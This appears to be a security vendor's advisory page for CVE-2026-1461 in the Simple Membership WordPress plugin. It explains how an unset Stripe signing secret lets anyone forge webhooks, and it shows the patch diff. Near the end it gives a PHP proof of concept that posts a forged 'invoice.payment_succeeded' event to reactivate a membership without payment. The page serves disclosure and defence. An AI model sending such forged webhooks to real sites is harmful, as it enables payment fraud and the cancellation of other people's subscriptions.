Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2026-1461: Simple Membership <= 4.7.0 – Unauthenticated Improper Handling of Missing Values (simple-membership)

CVE ID CVE-2026-1461
Severity Medium (CVSS 6.5)
CWE 230
Vulnerable Version 4.7.0
Patched Version 4.7.1
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1461:
The Simple Membership WordPress plugin version 4.7.0 and earlier contains an improper handling of missing values vulnerability in its Stripe webhook handler. This vulnerability allows unauthenticated attackers to forge Stripe webhook events, enabling manipulation of membership subscriptions including reactivation of expired memberships without payment and cancellation of legitimate subscriptions.

The root cause lies in the Stripe webhook validation logic within the file `simple-membership/ipn/swpm-stripe-webhook-handler.php`. The plugin’s `validate_webhook_data()` function (lines 25-35) only validates webhook signatures when the `stripe-webhook-signing-secret` setting is configured. This setting is empty by default, as shown in the admin settings file `simple-membership/classes/admin-includes/class.swpm-payment-settings-menu-tab.php`. When no signing secret is configured, the plugin accepts any webhook event without proper validation.

Exploitation occurs through direct POST requests to the webhook endpoint at `/?swpm_process_stripe_subscription=1&hook=1`. Attackers can craft malicious Stripe webhook events containing forged subscription data and send them to this endpoint. The plugin processes these events without requiring authentication or signature validation when the signing secret is unconfigured. Attackers can send `invoice.payment_succeeded` events to reactivate expired memberships or `customer.subscription.deleted` events to cancel active subscriptions.

The patch introduces a new validation function `validate_webhook_data_no_signing_key()` (lines 277-399) that provides alternative validation when no signing secret is configured. This function validates webhook events by re-fetching them from Stripe using API keys associated with the subscription’s payment button. It checks event creation timestamps (must be within 6 hours), validates subscription IDs match, and ensures only specific event types (`invoice.payment_succeeded`, `customer.subscription.deleted`, `charge.refunded`) are processed. The patch also changes the admin interface labeling from ‘Optional’ to mandatory for the webhook signing secret.

Successful exploitation allows attackers to manipulate membership subscriptions without payment. Attackers can reactivate expired memberships to gain unauthorized access to premium content, cancel legitimate subscriptions causing service disruption, and potentially bypass payment requirements for premium memberships. This impacts site revenue, access control integrity, and user trust in the membership system.

Differential between vulnerable and patched code

Code Diff
--- a/simple-membership/classes/admin-includes/class.swpm-payment-settings-menu-tab.php
+++ b/simple-membership/classes/admin-includes/class.swpm-payment-settings-menu-tab.php
@@ -523,16 +523,31 @@
                                 </p>
                             </td>
                         </tr>
+
                         <tr valign="top">
                             <th scope="row">
                                 <label>
-				                    <?php _e('Webhook Signing Secret Key (Optional)', 'simple-membership'); ?>
+                                    <?php _e('Webhook Endpoint URL', 'simple-membership'); ?>
+                                </label>
+                            </th>
+                            <td>
+                                <kbd><?php echo SIMPLE_WP_MEMBERSHIP_SITE_HOME_URL . '/?swpm_process_stripe_subscription=1&hook=1'; ?></kbd>
+                                <p class="description">
+                                    <?php _e('This is the webhook endpoint URL that you will need to configure in your Stripe account. You can get more info in the', 'simple-membership') ?> <a href="https://simple-membership-plugin.com/sca-compliant-stripe-subscription-button/#create-a-webhook-in-your-stripe-account" target="_blank"><?php _e('documentation', 'simple-membership') ?></a>.
+                                </p>
+                            </td>
+                        </tr>
+                        <tr valign="top">
+                            <th scope="row">
+                                <label>
+				                    <?php _e('Webhook Signing Secret Key', 'simple-membership'); ?>
                                 </label>
                             </th>
                             <td>
                                 <input type="text" name="stripe-webhook-signing-secret" size="100" value="<?php echo $stripe_webhook_signing_secret_key; ?>">
                                 <p class="description">
-				                    <?php _e('Enter a webhook signing secret key to apply webhook event protection.', 'simple-membership'); ?>
+				                    <?php _e('Enter the webhook signing secret from your Stripe dashboard here. ', 'simple-membership'); ?>
+                                    <?php _e('Read <a href="https://simple-membership-plugin.com/configuring-the-stripe-webhook-signing-secret/" target="_blank">this documentation</a> to learn more.', 'simple-membership'); ?>
                                 </p>
                             </td>
                         </tr>
--- a/simple-membership/classes/class.simple-wp-membership.php
+++ b/simple-membership/classes/class.simple-wp-membership.php
@@ -961,8 +961,10 @@
             'ajax_url' => $ajax_url,
             'query_args' => isset($params['query_args']) ? $params['query_args'] : array(),
         )), "before");
-
-        wp_add_inline_script($handle, "var form_id = '".$params['form_id']."';", "before");
+
+		if (isset($params['form_id']) && !empty($params['form_id'])){
+            wp_add_inline_script($handle, "var form_id = '".$params['form_id']."';", "before");
+		}

         if (isset($params['custom_pass_pattern_validator']) && !empty($params['custom_pass_pattern_validator'])) {
             wp_add_inline_script($handle, "var custom_pass_pattern_validator = ".$params['custom_pass_pattern_validator'].";", "before");
--- a/simple-membership/classes/class.swpm-auth.php
+++ b/simple-membership/classes/class.swpm-auth.php
@@ -679,7 +679,7 @@

 	public function get_expire_date() {
 		if ( $this->isLoggedIn ) {
-			return SwpmUtils::get_formatted_expiry_date( $this->get( 'subscription_starts' ), $this->get( 'subscription_period' ), $this->get( 'subscription_duration_type' ) );
+			return SwpmMemberUtils::get_formatted_expiry_date_by_user_id( SwpmMemberUtils::get_logged_in_members_id() );
 		}
 		return '';
 	}
--- a/simple-membership/classes/class.swpm-level-form.php
+++ b/simple-membership/classes/class.swpm-level-form.php
@@ -43,7 +43,7 @@
             return;
         }

-        $subscription_period = filter_input(INPUT_POST, 'subscription_period_'. $subscript_duration_type);
+		$subscription_period = isset($_POST['subscription_period_'. $subscript_duration_type]) ? $_POST['subscription_period_'. $subscript_duration_type] : '';
         if (($subscript_duration_type == SwpmMembershipLevel::FIXED_DATE)){
             $dateinfo = date_parse($subscription_period);
             if ($dateinfo['warning_count']|| $dateinfo['error_count']){
@@ -54,6 +54,29 @@
             return;
         }

+	    if ( $subscript_duration_type == SwpmMembershipLevel::ANNUAL_FIXED_DATE ){
+			if (!is_array($subscription_period)){
+				$this->errors['subscription_period'] = __("Annual expiry date is not valid.", "simple-membership");
+			}
+
+			$subscription_period = implode('-', array(
+				date('Y'),
+				SwpmUtils::pad_zero($subscription_period['m']),
+				SwpmUtils::pad_zero($subscription_period['d']),
+			));
+
+		    $dateinfo = date_parse($subscription_period);
+
+		    if ($dateinfo['warning_count']|| $dateinfo['error_count']){
+			    $this->errors['subscription_period'] = __("Date format is not valid. " . $subscription_period, "simple-membership");
+			    return;
+		    }
+
+			$this->sanitized['subscription_period'] = sanitize_text_field($subscription_period);
+
+		    return;
+	    }
+
         if (!is_numeric($subscription_period)) {
             $this->errors['subscription_period'] = SwpmUtils::_("Access duration must be > 0.");
             return;
--- a/simple-membership/classes/class.swpm-membership-level.php
+++ b/simple-membership/classes/class.swpm-membership-level.php
@@ -11,6 +11,7 @@
     const MONTHS = 3;
     const YEARS = 4;
     const FIXED_DATE = 5;
+    const ANNUAL_FIXED_DATE = 6;

     private static $_instance = null;

@@ -83,9 +84,20 @@
 		        'meta_context'=> 'account-status',
 	        );

+			$annual_fixed_date_min_period = isset( $_POST['annual_fixed_date_min_period'] ) && !empty($_POST['annual_fixed_date_min_period']) ? absint(sanitize_text_field( $_POST['annual_fixed_date_min_period'] )) : "";
+	        $annual_fixed_date_min_period = array(
+		        'meta_key'=>'annual_fixed_date_min_period',
+		        'level_id'=> $id,
+		        'meta_label'=> 'Annual Fixed Date Minimum Period',
+		        'meta_value'=> $annual_fixed_date_min_period,
+		        'meta_type'=> 'number',
+		        'meta_context'=> 'subscription-type',
+	        );
+
             $custom = apply_filters('swpm_admin_add_membership_level', array());
 	        $custom[] = $after_activation_redirect_page_meta;
 	        $custom[] = $default_account_status_meta;
+	        $custom[] = $annual_fixed_date_min_period;
             $this->save_custom_fields($id, $custom);
             $message = array('succeeded' => true, 'message' => '<p>' . SwpmUtils::_('Membership Level Creation Successful.') . '</p>');
             SwpmTransfer::get_instance()->set('status', $message);
@@ -137,9 +149,20 @@
 				'meta_context'=> 'account-status',
 			);

-            $custom = apply_filters('swpm_admin_edit_membership_level', array(), $id);
+	        $annual_fixed_date_min_period = isset( $_POST['annual_fixed_date_min_period'] ) && !empty($_POST['annual_fixed_date_min_period']) ? absint(sanitize_text_field( $_POST['annual_fixed_date_min_period'] )) : "";
+	        $annual_fixed_date_min_period = array(
+		        'meta_key'=>'annual_fixed_date_min_period',
+		        'level_id'=> $id,
+		        'meta_label'=> 'Annual Fixed Date Minimum Period',
+		        'meta_value'=> $annual_fixed_date_min_period,
+		        'meta_type'=> 'number',
+		        'meta_context'=> 'subscription-type',
+	        );
+
+	        $custom = apply_filters('swpm_admin_edit_membership_level', array(), $id);
 			$custom[] = $after_activation_redirect_page_meta;
 			$custom[] = $default_account_status_meta;
+			$custom[] = $annual_fixed_date_min_period;
             $this->save_custom_fields($id, $custom);
             $message = array('succeeded' => true, 'message' => '<p>'. SwpmUtils::_('Membership Level Updated Successfully.') . '</p>');
             SwpmTransfer::get_instance()->set('status', $message);
--- a/simple-membership/classes/class.swpm-membership-levels.php
+++ b/simple-membership/classes/class.swpm-membership-levels.php
@@ -59,6 +59,10 @@
             if ($item['subscription_duration_type'] == SwpmMembershipLevel::YEARS) {
                 return $item['subscription_period'] . " Year(s)";
             }
+	        if ($item['subscription_duration_type'] == SwpmMembershipLevel::ANNUAL_FIXED_DATE) {
+		        $formatted_date = date('F d', strtotime($item['subscription_period']));
+		        return $formatted_date;
+	        }
         }
         if ($column_name == 'role') {
             return ucfirst($item['role']);
@@ -164,6 +168,7 @@
         $custom_fields = SwpmMembershipLevelCustom::get_instance_by_id($id);
         $after_activation_redirect_page = sanitize_url($custom_fields->get('after_activation_redirect_page'));
         $default_account_status = sanitize_text_field($custom_fields->get('default_account_status'));
+	    $annual_fixed_date_min_period = sanitize_text_field($custom_fields->get('annual_fixed_date_min_period'));
         include_once(SIMPLE_WP_MEMBERSHIP_PATH . 'views/admin_edit_level.php');
         return false;
     }
--- a/simple-membership/classes/class.swpm-utils-misc.php
+++ b/simple-membership/classes/class.swpm-utils-misc.php
@@ -1446,4 +1446,53 @@
 		SwpmMiscUtils::mail( $to_email, $subject, $body, $headers );
 		SwpmLog::log_simple_debug( 'Account activation email for member ID: '.$member_id.' successfully sent to: ' . $to_email . '. From email address value used: ' . $from_address, true );
 	}
+
+
+	public static function get_months_data(int $year = null): array {
+		$year = $year ?? (int) date('Y');
+		$data = array();
+
+		for ($m = 1; $m <= 12; $m++) {
+			$date = DateTime::createFromFormat('Y-n-j', "$year-$m-1");
+
+			$data[] = [
+				'm' => $m,
+				'name' => $date->format('F'),
+				'days'  => $date->format('t'),
+			];
+		}
+
+		return $data;
+	}
+
+	public static function month_day_selector($selected_date = '') {
+		$currentYear = (int) date('Y');
+
+		if (!empty($selected_date)){
+			$selected_date = strtotime($selected_date);
+		} else {
+			$selected_date = strtotime(date('Y-01-01'));
+		}
+
+		$months = self::get_months_data($currentYear);
+
+		SimpleWpMembership::enqueue_validation_scripts_v2( 'swpm-month-day-selector' );
+
+		?>
+		<span class="swpm-month-day-selector" data-day-month-options="<?php echo esc_attr(json_encode($months)) ?>">
+            <select class="swpm-month-selector" name="subscription_period_<?php echo SwpmMembershipLevel::ANNUAL_FIXED_DATE?>[m]">
+                <?php foreach ($months as $month) { ?>
+                    <option value="<?php echo esc_attr($month['m']) ?>" <?php selected( intval(date('m', $selected_date)), $month['m'] ) ?>><?php echo esc_attr($month['name']) ?></option>
+                <?php } ?>
+            </select>
+            <select class="swpm-day-selector" name="subscription_period_<?php echo SwpmMembershipLevel::ANNUAL_FIXED_DATE?>[d]">
+                <?php
+                $selected_month_data = $months[intval(date('m', $selected_date)) - 1];
+                for ($i = 1; $i <= $selected_month_data['days']; $i++) { ?>
+                    <option value="<?php echo esc_attr($i) ?>" <?php selected( intval(date('d', $selected_date)), $i ) ?> ><?php echo esc_attr(SwpmUtils::pad_zero($i)) ?></option>
+                <?php } ?>
+            </select>
+        </span>
+		<?php
+	}
 }
--- a/simple-membership/classes/class.swpm-utils.php
+++ b/simple-membership/classes/class.swpm-utils.php
@@ -97,7 +97,48 @@
 		$permission = SwpmPermission::get_instance( $user->membership_level );
 		if ( SwpmMembershipLevel::FIXED_DATE == $permission->get( 'subscription_duration_type' ) ) {
 			return strtotime( $permission->get( 'subscription_period' ) );
+
+		} else if ( SwpmMembershipLevel::ANNUAL_FIXED_DATE == $permission->get( 'subscription_duration_type' ) ) {
+			$user_sub_start_date = new DateTime($user->subscription_starts);
+
+			$current_year = intval(date('Y'));
+
+			$expiry_date = new DateTime($permission->get( 'subscription_period' ));
+
+			// Replace year with current year
+			$expiry_date->setDate(
+				$current_year,
+				(int) $expiry_date->format('m'),
+				(int) $expiry_date->format('d')
+			);
+
+			$expiry_timestamp = $expiry_date->getTimestamp();
+
+			// Check if expiry date has reached or not.
+			if ($user_sub_start_date < $expiry_date) {
+				// Expiry date has not reached year. Now check if expiry date and user subscription date satisfies min period days.
+
+				$diff = $user_sub_start_date->diff($expiry_date);
+
+				$custom_fields = SwpmMembershipLevelCustom::get_instance_by_id($user->membership_level);
+				$annual_fixed_date_min_period = sanitize_text_field($custom_fields->get('annual_fixed_date_min_period'));
+				$annual_fixed_date_min_period = absint($annual_fixed_date_min_period);
+
+				if ($diff->days < $annual_fixed_date_min_period){
+					$expiry_date->modify('+1 year'); // expiry date is in next year.
+
+					$expiry_timestamp = $expiry_date->getTimestamp();
+				}
+			} else {
+				// User sub started AFTER membership level expiry date of this year.
+				$expiry_date->modify('+1 year'); // expiry date is in next year.
+
+				$expiry_timestamp = $expiry_date->getTimestamp();
+			}
+
+			return $expiry_timestamp;
 		}
+
 		$days = self::calculate_subscription_period_days( $permission->get( 'subscription_period' ), $permission->get( 'subscription_duration_type' ) );
 		if ( $days == 'noexpire' ) {
 			return PHP_INT_MAX; // which is equivalent to
@@ -123,6 +164,9 @@
 			//Membership will expire after a fixed date.
 			return self::get_formatted_and_translated_date_according_to_wp_settings( $subscription_duration );
 		}
+		if ( $subscription_duration_type == SwpmMembershipLevel::ANNUAL_FIXED_DATE ) {
+			return self::get_formatted_and_translated_date_according_to_wp_settings( $subscription_duration );
+		}

 		$expires = self::calculate_subscription_period_days( $subscription_duration, $subscription_duration_type );
 		if ( $expires == 'noexpire' ) {
@@ -797,4 +841,7 @@
 		return $shortcode;
 	}

+	public static function pad_zero($number = 0): string {
+		return str_pad((string) $number, 2, '0', STR_PAD_LEFT);
+	}
 }
--- a/simple-membership/ipn/swpm-stripe-webhook-handler.php
+++ b/simple-membership/ipn/swpm-stripe-webhook-handler.php
@@ -35,6 +35,15 @@
 			} else {
 				SwpmLog::log_simple_debug( 'Stripe webhook event data validated successfully!', true );
 			}
+		} else {
+			if ( empty( self::validate_webhook_data_no_signing_key($input) ) ) {
+				//Invalid webhook data received. Don't process this request.
+				http_response_code( 400 );
+				echo 'Error: Invalid webhook data received.';
+				exit();
+			} else {
+				SwpmLog::log_simple_debug( 'Stripe webhook event data validated successfully!', true );
+			}
 		}

 		$type = isset($event_json->type) ? $event_json->type : '';
@@ -268,6 +277,129 @@
 		return $event_json;
 	}

+	public static function validate_webhook_data_no_signing_key($event_data_raw){
+		$received_event = json_decode( $event_data_raw );
+
+		$events_to_validate = array(
+			'invoice.payment_succeeded',
+			'customer.subscription.deleted',
+			'charge.refunded'
+		);
+
+		if (!in_array($received_event->type, $events_to_validate)) {
+			// No need to validate other unused events.
+			return true;
+		}
+
+		$max_allowed_event_creation_time_diff = 6 * 60 * 60; // 6 hours.
+
+		$received_sub_id = '';
+
+		$received_event_object = $received_event->data->object;
+		$received_object_name = $received_event_object->object;
+
+		switch(strtolower($received_object_name)){
+			case 'subscription':
+				$received_sub_id = isset($received_event_object->id) ? $received_event_object->id : '';
+				break;
+			case 'invoice':
+				$received_sub_id = isset($received_event_object->parent->subscription_details->subscription) ? $received_event_object->parent->subscription_details->subscription : '';
+
+				$billing_reason = isset( $received_event_object->billing_reason ) ? $received_event_object->billing_reason : '';
+				if ( $billing_reason != 'subscription_cycle' ) {
+					// We don't need to validate invoice event with billing reason other than subscription_cycle.
+					return true;
+				}
+
+				break;
+			case 'charge':
+				// Change object does not directly contains any sub id, so its not possible to get the sub agreement cpt id hence not the payment button id.
+				// So its not possible to get the stripe api secret key. Thats why we are only checking the event creation time to validate this event.
+				if ((time() - $received_event->created) > $max_allowed_event_creation_time_diff  ) {
+					SwpmLog::log_simple_debug('Error: Event creation time is too far in the past!', false);
+					return false;
+				} else {
+					return true;
+				}
+			default:
+				SwpmLog::log_simple_debug("Error: Invalid webhook event object '" . $received_object_name . "'", false);
+				return false;
+		}
+
+		$sub_agreement_cpt_id = SWPM_Utils_Subscriptions::get_subscription_agreement_cpt_id_by_subs_id($received_sub_id);
+
+		if (empty($sub_agreement_cpt_id)) {
+			SwpmLog::log_simple_debug("Error: can't retrieve subscription cpt record!", false);
+			return false;
+		}
+
+		// Check if the sandbox mode is enabled
+		$sandbox_enabled = SwpmSettings::get_instance()->get_value( 'enable-sandbox-testing' );
+
+		$payment_button_id = get_post_meta($sub_agreement_cpt_id, 'payment_button_id', true);
+
+		$api_keys = SwpmMiscUtils::get_stripe_api_keys_from_payment_button( $payment_button_id, !$sandbox_enabled );
+
+		if (empty($api_keys['secret'])){
+			SwpmLog::log_simple_debug('Error: The Stripe API secret key could not be retrieved. Could not validate this webhook!', false);
+			return false;
+		}
+
+		// Include the Stripe library.
+		SwpmMiscUtils::load_stripe_lib();
+
+		StripeStripe::setApiKey( $api_keys['secret'] );
+
+		try {
+			// Re-fetch the event again by event id. Then check if the subscription id and creation time is valid or not.
+			$event = StripeEvent::retrieve($received_event->id);
+
+			// Check if invalid event creation time.
+			if ($event->created !== $received_event->created || (time() - $event->created) > $max_allowed_event_creation_time_diff  ) {
+				SwpmLog::log_simple_debug('Error: Event creation time is too far in the past!', false);
+				return false;
+			}
+
+			$sub_id = '';
+			$event_object = $event->data->object;
+			$event_object_name = $event_object->object;
+
+			if ($event_object_name != $received_object_name) {
+				SwpmLog::log_simple_debug("Error: Webhook event object mismatch!", false);
+				return false;
+			}
+
+			switch($event_object_name){
+				case 'subscription':
+					$sub_id = isset($event_object->id) ? $event_object->id : '';
+					break;
+				case 'invoice':
+					$sub_id = isset($event_object->parent->subscription_details->subscription) ? $event_object->parent->subscription_details->subscription : '';
+					break;
+				default:
+					SwpmLog::log_simple_debug("Error: Invalid webhook event object '" . $received_object_name . "'", false);
+					return false;
+			}
+
+			// Check if subscription id mismatch.
+			if ($sub_id != $received_sub_id) {
+				SwpmLog::log_simple_debug('Error: Subscription ID mismatch!', false);
+				return false;
+			}
+
+		} catch(UnexpectedValueException $e) {
+			// Invalid payload. Don't Process this request.
+			SwpmLog::log_simple_debug('Error parsing payload: ' . $e->getMessage() , false);
+			return false;
+		} catch(Exception $e) {
+			// Invalid signature. Don't Process this request.
+			SwpmLog::log_simple_debug('Error: ' . $e->getMessage() , false);
+			return false;
+		}
+
+		// Everything seems fine.
+		return true;
+	}
 }

 new SwpmStripeWebhookHandler();
--- a/simple-membership/ipn/swpm_handle_subsc_ipn.php
+++ b/simple-membership/ipn/swpm_handle_subsc_ipn.php
@@ -378,6 +378,10 @@
 			// This is a level with a "fixed expiry date" duration.
 			swpm_debug_log_subsc( 'This is a level with a "fixed expiry date" duration.', true );
 			swpm_debug_log_subsc( 'Nothing to do here. The account will expire on the fixed set date.', true );
+		} elseif ( SwpmMembershipLevel::ANNUAL_FIXED_DATE == $subs_duration_type ) {
+			// This is a level with an "annual fixed date" duration.
+			swpm_debug_log_subsc( 'This is a level with a "annual fixed date" duration.', true );
+			swpm_debug_log_subsc( 'Nothing to do here. The account will expire on the set date.', true );
 		} else {
 			// This is a level with "duration" type expiry (example: 30 days, 1 year etc). subscription_period has the duration/period.
 			$subs_period      = $level_row->subscription_period;
--- a/simple-membership/simple-wp-membership.php
+++ b/simple-membership/simple-wp-membership.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Simple Membership
-Version: 4.7.0
+Version: 4.7.1
 Plugin URI: https://simple-membership-plugin.com/
 Author: smp7, wp.insider
 Author URI: https://simple-membership-plugin.com/
@@ -17,7 +17,7 @@
 }

 //Define plugin constants
-define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.7.0' );
+define( 'SIMPLE_WP_MEMBERSHIP_VER', '4.7.1' );
 define( 'SIMPLE_WP_MEMBERSHIP_DB_VER', '1.5' );
 define( 'SIMPLE_WP_MEMBERSHIP_SITE_HOME_URL', home_url() );
 define( 'SIMPLE_WP_MEMBERSHIP_PATH', dirname( __FILE__ ) . '/' );
--- a/simple-membership/views/admin_add_level.php
+++ b/simple-membership/views/admin_add_level.php
@@ -13,7 +13,7 @@
 <form action="" method="post" name="swpm-create-level" id="<?php echo esc_attr($form_id) ?>" class="swpm-validate-form">
 <input name="action" type="hidden" value="createlevel" />
 <h3><?php echo SwpmUtils::_('Add Membership Level'); ?></h3>
-<p>
+<p class="swpm-grey-box">
     <?php
     echo __('Create new membership level.', 'simple-membership');
     echo __(' Refer to ', 'simple-membership');
@@ -47,6 +47,12 @@
                 <input type="text" value="" name="subscription_period_<?php echo  SwpmMembershipLevel::YEARS?>"> <?php echo  SwpmUtils::_('Years (Access expires after given number of years)')?></p>
             <p><input type="radio" value="<?php echo  SwpmMembershipLevel::FIXED_DATE?>" name="subscription_duration_type" /> <?php echo  SwpmUtils::_('Fixed Date Expiry')?>
                 <input type="text" class="swpm-date-picker" value="<?php echo  date('Y-m-d');?>" name="subscription_period_<?php echo  SwpmMembershipLevel::FIXED_DATE?>"> <?php echo  SwpmUtils::_('(Access expires on a fixed date)')?></p>
+            <p><input type="radio" value="<?php echo  SwpmMembershipLevel::ANNUAL_FIXED_DATE?>" name="subscription_duration_type" /> <?php _e('Annual Expiration Date','wp-express-checkout')?>
+                <?php SwpmMiscUtils::month_day_selector(); ?>
+	            <?php printf(__(' with a minimum period of %s days', 'simple-membership'), '<span><input name="annual_fixed_date_min_period" type="number" min="0" value="" style="width: 60px;"></span>')?>
+	            <?php _e('(Memberships will expire on this date every year. Example value: December 31 for calendar-year memberships or June 30 for fiscal alignments). ', 'simple-membership'); ?>
+                <?php echo '<a href="https://simple-membership-plugin.com/annual-calendar-or-fiscal-year-memberships/" target="_blank">' . __('View Documentation', 'simple-membership') . '</a>.'; ?>
+            </p>
         </td>
     </tr>
     <tr class="form-field">
--- a/simple-membership/views/admin_add_ons_page.php
+++ b/simple-membership/views/admin_add_ons_page.php
@@ -252,8 +252,16 @@
                 'description' => 'Allows you to signup the member to your MailChimp list after registration',
                 'page_url' => 'https://simple-membership-plugin.com/signup-members-mailchimp-list/',
             );
-            array_push($addons_data, $addon_30);
-
+            array_push($addons_data, $addon_30);
+
+            $addon_31 = array(
+                'name' => 'Social Login Addon',
+                'thumbnail' => SIMPLE_WP_MEMBERSHIP_URL . '/images/addons/swpm-social-login-addon.png',
+                'description' => 'Integrates Google, Facebook social login options for Simple Membership users.',
+                'page_url' => 'https://simple-membership-plugin.com/simple-membership-social-login-addon/',
+            );
+            array_push($addons_data, $addon_31);
+
             /*** Show the addons list ***/
             foreach ($addons_data as $addon) {
                 $output .= '<div class="swpm_addon_item_canvas">';
--- a/simple-membership/views/admin_edit_level.php
+++ b/simple-membership/views/admin_edit_level.php
@@ -15,7 +15,7 @@
 <input name="action" type="hidden" value="editlevel" />
 <?php wp_nonce_field( 'edit_swpmlevel_admin_end', '_wpnonce_edit_swpmlevel_admin_end' ) ?>
 <h2><?php echo  SwpmUtils::_('Edit membership level'); ?></h2>
-<p>
+<p class="swpm-grey-box">
     <?php
     echo __('You can edit details of a selected membership level from this interface. ', 'simple-membership');
     echo __(' Refer to ', 'simple-membership');
@@ -58,7 +58,15 @@
                     <input type="text" value="<?php echo  checked(SwpmMembershipLevel::YEARS,$subscription_duration_type,false)? $subscription_period: "";?>" name="subscription_period_<?php echo  SwpmMembershipLevel::YEARS?>"> <?php echo  SwpmUtils::_('Years (Access expires after given number of years)')?></p>

                 <p><input type="radio" <?php echo  checked(SwpmMembershipLevel::FIXED_DATE,$subscription_duration_type,false)?> value="<?php echo  SwpmMembershipLevel::FIXED_DATE?>" name="subscription_duration_type" /> <?php echo  SwpmUtils::_('Fixed Date Expiry')?>
-                    <input type="text" class="swpm-date-picker" value="<?php echo  checked(SwpmMembershipLevel::FIXED_DATE,$subscription_duration_type,false)? $subscription_period: "";?>" name="subscription_period_<?php echo  SwpmMembershipLevel::FIXED_DATE?>" id="subscription_period_<?php echo  SwpmMembershipLevel::FIXED_DATE?>"> <?php echo  SwpmUtils::_('(Access expires on a fixed date)')?></p>
+                    <input type="text" class="swpm-date-picker" value="<?php echo  checked(SwpmMembershipLevel::FIXED_DATE,$subscription_duration_type,false)? $subscription_period: "";?>" name="subscription_period_<?php echo  SwpmMembershipLevel::FIXED_DATE?>" id="subscription_period_<?php echo  SwpmMembershipLevel::FIXED_DATE?>"> <?php echo  SwpmUtils::_('(Access expires on a fixed date)')?></p>
+
+                <?php $is_annual_fixed_date_checked = checked(SwpmMembershipLevel::ANNUAL_FIXED_DATE, $subscription_duration_type, false) ?>
+                <p><input type="radio" <?php echo !empty($is_annual_fixed_date_checked) ? 'checked' : '' ?> value="<?php echo SwpmMembershipLevel::ANNUAL_FIXED_DATE?>" name="subscription_duration_type" /> <?php _e('Annual Expiration Date','wp-express-checkout')?>
+	                <?php SwpmMiscUtils::month_day_selector( !empty($is_annual_fixed_date_checked) ? $subscription_period : '' ); ?>
+                    <?php printf(__(' with a minimum period of %s days', 'simple-membership'), '<span><input name="annual_fixed_date_min_period" type="number" min="0" value="'.esc_attr(!empty($is_annual_fixed_date_checked) ? $annual_fixed_date_min_period : '').'" style="width: 60px;"></span>')?>
+                    <?php _e('(Memberships will expire on this date every year. Example value: December 31 for calendar-year memberships or June 30 for fiscal alignments). ', 'simple-membership'); ?>
+                    <?php echo '<a href="https://simple-membership-plugin.com/annual-calendar-or-fiscal-year-memberships/" target="_blank">' . __('View Documentation', 'simple-membership') . '</a>.'; ?>
+                </p>
         </td>
     </tr>
     <tr class="form-field">

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1461 - Simple Membership <= 4.7.0 - Unauthenticated Improper Handling of Missing Values

<?php

$target_url = 'https://vulnerable-site.com/?swpm_process_stripe_subscription=1&hook=1';

// Forge a Stripe webhook event to reactivate an expired membership
$webhook_payload = json_encode([
    'id' => 'evt_forged_123',
    'type' => 'invoice.payment_succeeded',
    'created' => time(), // Current timestamp
    'data' => [
        'object' => [
            'object' => 'invoice',
            'id' => 'in_forged_123',
            'billing_reason' => 'subscription_cycle',
            'parent' => [
                'subscription_details' => [
                    'subscription' => 'sub_existing_456' // Target subscription ID
                ]
            ]
        ]
    ]
]);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $webhook_payload);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Content-Type: application/json',
    'User-Agent: Stripe-Webhook-Simulation/1.0'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);

$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Response Code: $http_coden";
echo "Response: $responsen";

// If the site is vulnerable and the subscription ID exists,
// this will trigger membership reactivation without payment

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School